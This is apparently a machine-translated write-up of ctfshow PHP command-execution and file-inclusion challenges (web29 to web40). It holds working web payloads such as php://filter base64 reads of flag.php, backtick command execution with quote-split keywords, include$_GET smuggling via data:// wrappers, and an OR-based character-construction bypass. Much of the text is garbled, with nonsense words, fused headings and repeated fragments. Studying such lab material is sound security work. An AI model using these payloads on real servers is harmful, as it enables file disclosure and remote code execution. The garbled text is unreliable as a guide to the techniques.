How to execute ctfshow commands in php
In this issue, the editor will bring you about how to execute ctfshow commands in php. The article is rich in content and analyzes and narrates it from a professional point of view. I hope you can get something after reading this article.
Web29~ filtering keyword command execution requires strict filtering
Source code:
& url=php://filter/read=convert.base64-encode/resource=flag.php
Topic wp:
Echo `nl fl''ag.p'' hp`; web31~ filter cat. The blank command is executed, which requires strict filtering.
Source code:
& url=php://filter/read=convert.base64-encode/resource=flag.php
Official
Show_source (next (array_reverse (scandir (pos (localeconv (); web32~ file contains bypass & axiphpblog hand hand filter hand readbasket convert.Base64Lue encodestop resourceworthy .phpweb33 ~ file contains bypass
Source code:
& a=php://filter/read=convert.base64-encode/resource=flag.php?c=include$_GET [1]? > & 1First phpVERDUGUR DUBG filterUnix readreadable convert.Base64MIRENCODEGUP resourceworthy. Phpweb34 ~ the file contains bypass
Source code:
& a=php://filter/read=convert.base64-encode/resource=flag.php?c=include$_GET [1]? > & 1Firstly phpa=php://filter/read=convert.base64-encode/resource=flag.phpweb37~data a=php://filter/read=convert.base64-encode/resource=flag.phpweb37~data protocol is contained in the file containing bypass & a=php://filter/read=convert.base64-encode/resource=flag.php?c=include$_GET [1]? > & 1FILT [1] > & 1Bypass
Data://text/plain, which is equivalent to executing the php statement. php because the previous php statement has been closed, so the latter .php will be displayed directly on the page as a html page, which will not help.
Web40~ has no parameters to read files
This question filters $, +, -, ^, ~ to make XOR augment and reverse construction characters unusable, as well as letters and numbers. But deliberately left an OR operator |. We can try to find or calculate the characters that can get our available characters from the characters with an ascii of 0-255s. Here first give two scripts exp.py rce_or.php, you can use or bypass the operation can be manually modified later. Generate a set-combination of available characters
